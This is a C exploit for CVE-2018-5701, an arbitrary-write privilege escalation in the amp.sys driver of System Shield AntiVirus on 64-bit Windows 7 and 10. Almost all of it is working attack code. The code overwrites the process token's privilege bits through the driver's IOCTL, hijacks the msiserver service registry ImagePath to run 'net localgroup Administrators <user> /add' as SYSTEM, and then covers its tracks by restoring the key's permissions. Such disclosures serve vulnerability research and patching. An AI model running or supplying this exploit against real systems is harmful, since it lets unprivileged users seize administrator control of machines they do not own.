| 
 
|  | /* 
 Exploit Title    - System Shield AntiVirus & AntiSpyware Arbitrary Write Privilege Escalation
 Date             - 29th January 2018
 Discovered by    - Parvez Anwar (@parvezghh)
 Vendor Homepage  - http://www.iolo.com/
 Tested Version   - 5.0.0.136
 Driver Version   - 5.4.11.1 - amp.sys
 Tested on OS     - 64bit Windows 7 and Windows 10 (1709)
 CVE ID           - CVE-2018-5701
 Vendor fix url   -
 Fixed Version    - 0day
 Fixed driver ver - 0day
 
 
 Check blogpost for details:
 
 https://www.greyhathacker.net/?p=1006
 
 */
 
 
 #include <stdio.h>
 #include <windows.h>
 #include <aclapi.h>
 
 #pragma comment(lib,"advapi32.lib")
 
 #define MSIEXECKEY "MACHINE\\SYSTEM\\CurrentControlSet\\services\\msiserver"
 
 #define SystemHandleInformation 16
 #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L)
 
 
 typedef unsigned __int64 QWORD;
 
 
 typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
 {
 ULONG       ProcessId;
 UCHAR       ObjectTypeNumber;
 UCHAR       Flags;
 USHORT      Handle;
 QWORD       Object;
 ACCESS_MASK GrantedAccess;
 } SYSTEM_HANDLE, *PSYSTEM_HANDLE;
 
 
 typedef struct _SYSTEM_HANDLE_INFORMATION
 {
 ULONG NumberOfHandles;
 SYSTEM_HANDLE Handles[1];
 } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
 
 
 typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
 ULONG SystemInformationClass,
 PVOID SystemInformation,
 ULONG SystemInformationLength,
 PULONG ReturnLength);
 
 
 
 
 QWORD TokenAddressCurrentProcess(HANDLE hProcess, DWORD MyProcessID)
 {
 _NtQuerySystemInformation   NtQuerySystemInformation;
 PSYSTEM_HANDLE_INFORMATION  pSysHandleInfo;
 ULONG                       i;
 PSYSTEM_HANDLE              pHandle;
 QWORD                       TokenAddress = 0;
 DWORD                       nSize = 4096;
 DWORD                       nReturn;
 BOOL                        tProcess;
 HANDLE                      hToken;
 
 
 if ((tProcess = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) == FALSE)
 {
 printf("\n[-] OpenProcessToken() failed (%d)\n", GetLastError());
 return -1;
 }
 
 NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
 
 if (!NtQuerySystemInformation)
 {
 printf("[-] Unable to resolve NtQuerySystemInformation\n\n");
 return -1;
 }
 
 do
 {
 nSize += 4096;
 pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION) HeapAlloc(GetProcessHeap(), 0, nSize);
 } while (NtQuerySystemInformation(SystemHandleInformation, pSysHandleInfo, nSize, &nReturn) == STATUS_INFO_LENGTH_MISMATCH);
 
 printf("\n[i] Current process id %d and token handle value %u", MyProcessID, hToken);
 
 for (i = 0; i < pSysHandleInfo->NumberOfHandles; i++)
 {
 
 if (pSysHandleInfo->Handles[i].ProcessId == MyProcessID && pSysHandleInfo->Handles[i].Handle == hToken)
 {
 TokenAddress = pSysHandleInfo->Handles[i].Object;
 }
 }
 
 HeapFree(GetProcessHeap(), 0, pSysHandleInfo);
 return TokenAddress;
 }
 
 
 
 int TakeOwnership()
 {
 HANDLE           token;
 PTOKEN_USER      user = NULL;
 PACL             pACL = NULL;
 EXPLICIT_ACCESS  ea;
 DWORD            dwLengthNeeded;
 
 
 
 if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token))
 {
 printf("\n[-] OpenProcessToken failed %d\n\n", GetLastError());
 ExitProcess(1);
 }
 printf("\n[+] OpenProcessToken successful");
 
 if (!GetTokenInformation(token, TokenUser, NULL, 0, &dwLengthNeeded) && GetLastError() != ERROR_INSUFFICIENT_BUFFER)
 {
 printf("\n[-] Failed to initialize GetTokenInformation %d\n\n", GetLastError());
 ExitProcess(1);
 }
 
 user = (PTOKEN_USER)LocalAlloc(0, dwLengthNeeded);
 
 if (!GetTokenInformation(token, TokenUser, user, dwLengthNeeded, &dwLengthNeeded))
 {
 printf("\n[-] GetTokenInformation failed %d\n\n", GetLastError());
 ExitProcess(1);
 }
 
 ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
 
 // build DACL
 
 ea.grfAccessPermissions = KEY_ALL_ACCESS;
 ea.grfAccessMode = GRANT_ACCESS;
 ea.grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT;
 ea.Trustee.TrusteeForm = TRUSTEE_IS_SID;
 ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
 ea.Trustee.ptstrName = (LPTSTR)user->User.Sid;
 
 if (SetEntriesInAcl(1, &ea, NULL, &pACL) != ERROR_SUCCESS)
 {
 printf("\n[-] SetEntriesInAcl failure\n\n");
 ExitProcess(1);
 }
 printf("\n[+] SetEntriesInAcl successful");
 
 // Take ownership
 
 if (SetNamedSecurityInfo(MSIEXECKEY, SE_REGISTRY_KEY, OWNER_SECURITY_INFORMATION, user->User.Sid, NULL, NULL, NULL) != ERROR_SUCCESS)
 {
 printf("\n[-] Failed to obtain the object's ownership %d\n\n", GetLastError());
 ExitProcess(1);
 }
 printf("\n[+] Ownership '%s' successful", MSIEXECKEY);
 
 // Modify DACL
 
 if (SetNamedSecurityInfo(MSIEXECKEY, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION, NULL, NULL, pACL, NULL) != ERROR_SUCCESS)
 {
 printf("\n[-] Failed to modify the object's DACL %d\n\n", GetLastError());
 ExitProcess(1);
 }
 printf("\n[+] Object's DACL successfully modified");
 
 LocalFree(pACL);
 CloseHandle(token);
 
 return 0;
 }
 
 
 
 int RestorePermissions()
 {
 PACL             pOldDACL = NULL;
 PSID             pSIDAdmin = NULL;
 SID_IDENTIFIER_AUTHORITY SIDAuthNT = SECURITY_NT_AUTHORITY;
 
 
 
 printf("\n[*] Restoring all permissions and value");
 
 // Restore registry value
 
 WriteToRegistry("%systemroot%\\system32\\msiexec.exe /V");
 
 // Sid for the BUILTIN\Administrators group
 
 if (!AllocateAndInitializeSid(&SIDAuthNT, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0,  &pSIDAdmin))
 {
 printf("\nAllocateAndInitializeSid failed %d\n\n", GetLastError());
 ExitProcess(1);
 }
 
 // Restore key ownership
 
 if (SetNamedSecurityInfo(MSIEXECKEY, SE_REGISTRY_KEY, OWNER_SECURITY_INFORMATION, pSIDAdmin, NULL, NULL, NULL) != ERROR_SUCCESS)
 {
 printf("\n[-] Failed to restore the object's ownership %d\n\n", GetLastError());
 ExitProcess(1);
 }
 printf("\n[+] Object's ownership successfully restored");
 
 // Take copy of parent key
 
 if (GetNamedSecurityInfo("MACHINE\\SYSTEM\\CurrentControlSet\\Services", SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION, NULL, NULL, &pOldDACL, NULL, NULL) != ERROR_SUCCESS)
 {
 printf("\n[-] Failed to copy parent key object's DACL %d\n\n", GetLastError());
 ExitProcess(1);
 }
 printf("\n[+] Parent key object's DACL successfully saved");
 
 // Restore key permissions
 
 if (SetNamedSecurityInfo(MSIEXECKEY, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION, NULL, NULL, pOldDACL, NULL) != ERROR_SUCCESS)
 {
 printf("\n[-] Failed to restore the object's DACL %d\n\n", GetLastError());
 ExitProcess(1);
 }
 printf("\n[+] Object's DACL successfully restored");
 
 FreeSid(pSIDAdmin);
 
 return 0;
 }
 
 
 
 int WriteToRegistry(char command[])
 {
 HKEY hkeyhandle;
 
 if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\services\\msiserver", 0, KEY_WRITE, &hkeyhandle) != ERROR_SUCCESS)
 {
 printf("\n[-] Registry key failed to open %d\n\n", GetLastError());
 ExitProcess(1);
 }
 
 if (RegSetValueEx(hkeyhandle, "ImagePath", 0, REG_EXPAND_SZ, (LPBYTE) command, strlen(command)) != ERROR_SUCCESS)
 {
 printf("\n[-] Registry value failed to write %d\n\n", GetLastError());
 ExitProcess(1);
 }
 
 printf("\n[+] Registry key opened and value modified");
 
 RegCloseKey(hkeyhandle);
 
 return 0;
 }
 
 
 
 int TriggerCommand()
 {
 STARTUPINFO           si;
 PROCESS_INFORMATION   pi;
 
 
 ZeroMemory(&si, sizeof(si));
 ZeroMemory(&pi, sizeof(pi));
 si.cb = sizeof(si);
 
 if (!CreateProcess(NULL, "c:\\windows\\system32\\msiexec.exe /i poc.msi /quiet", NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
 {
 printf("\n[-] CreateProcess failed %d", GetLastError());
 ExitProcess(1);
 }
 printf("\n[+] c:\\windows\\system32\\msiexec.exe launched");
 printf("\n[i] Account should now be in the local administrators group");
 
 CloseHandle(pi.hThread);
 CloseHandle(pi.hProcess);
 
 return 0;
 }
 
 
 
 int main(int argc, char *argv[])
 {
 QWORD      TokenAddressTarget;
 QWORD      SepPrivilegesOffset = 0x40;
 QWORD      TokenAddress;
 HANDLE     hDevice;
 char       devhandle[MAX_PATH];
 DWORD      dwRetBytes = 0;
 QWORD      inbuffer1[3] = {0};
 QWORD      inbuffer2[3] = {0};
 QWORD      ptrbuffer[1] = {0};           // QWORD4 - Has to be 0 for arbitrary write value to be 0xfffffffe
 DWORD      currentusersize;
 char       currentuser[100];
 char       netcommand[MAX_PATH];
 
 
 
 printf("-------------------------------------------------------------------------------\n");
 printf("  System Shield AntiVirus & AntiSpyware (amp.sys) Arbitrary Write EoP Exploit  \n");
 printf("                 Tested on 64bit Windows 7 / Windows 10 (1709)                 \n");
 printf("-------------------------------------------------------------------------------\n");
 
 TokenAddress = TokenAddressCurrentProcess(GetCurrentProcess(), GetCurrentProcessId());
 printf("\n[i] Address of current process token 0x%p", TokenAddress);
 
 TokenAddressTarget = TokenAddress + SepPrivilegesOffset;
 printf("\n[i] Address of _SEP_TOKEN_PRIVILEGES 0x%p will be overwritten", TokenAddressTarget);
 
 inbuffer1[0] = 0x8;                      // QWORD1 - Cannot be more than 8. Also different values (<9) calculates to different sub calls
 inbuffer1[1] = ptrbuffer;                // QWORD2 - Address used for read and write
 inbuffer1[2] = TokenAddressTarget+1;     // QWORD3 - Arbitrary write address !!!
 
 inbuffer2[0] = 0x8;
 inbuffer2[1] = ptrbuffer;
 inbuffer2[2] = TokenAddressTarget+9;
 
 sprintf(devhandle, "\\\\.\\%s", "amp");
 
 hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
 
 if(hDevice == INVALID_HANDLE_VALUE)
 {
 printf("\n[-] Open %s device failed\n\n", devhandle);
 return -1;
 }
 else
 {
 printf("\n[+] Open %s device successful", devhandle);
 }
 
 printf("\n[~] Press any key to continue . . .\n");
 getch();
 
 DeviceIoControl(hDevice, 0x00226003, inbuffer1, sizeof(inbuffer1), NULL, 0, &dwRetBytes, NULL);
 DeviceIoControl(hDevice, 0x00226003, inbuffer2, sizeof(inbuffer2), NULL, 0, &dwRetBytes, NULL);
 
 printf("[+] Overwritten _SEP_TOKEN_PRIVILEGES bits\n");
 CloseHandle(hDevice);
 
 currentusersize = sizeof(currentuser);
 
 if (!GetUserName(currentuser, ¤tusersize))
 {
 printf("\n[-] Failed to obtain current username: %d\n\n", GetLastError());
 return -1;
 }
 
 printf("[*] Adding current user '%s' account to the local administrators group", currentuser);
 
 sprintf(netcommand, "net localgroup Administrators %s /add", currentuser);
 
 TakeOwnership();
 WriteToRegistry(netcommand);
 TriggerCommand();
 Sleep(1000);
 RestorePermissions();
 printf("\n\n");
 
 return 0;
 }
 
 |   
|  |  |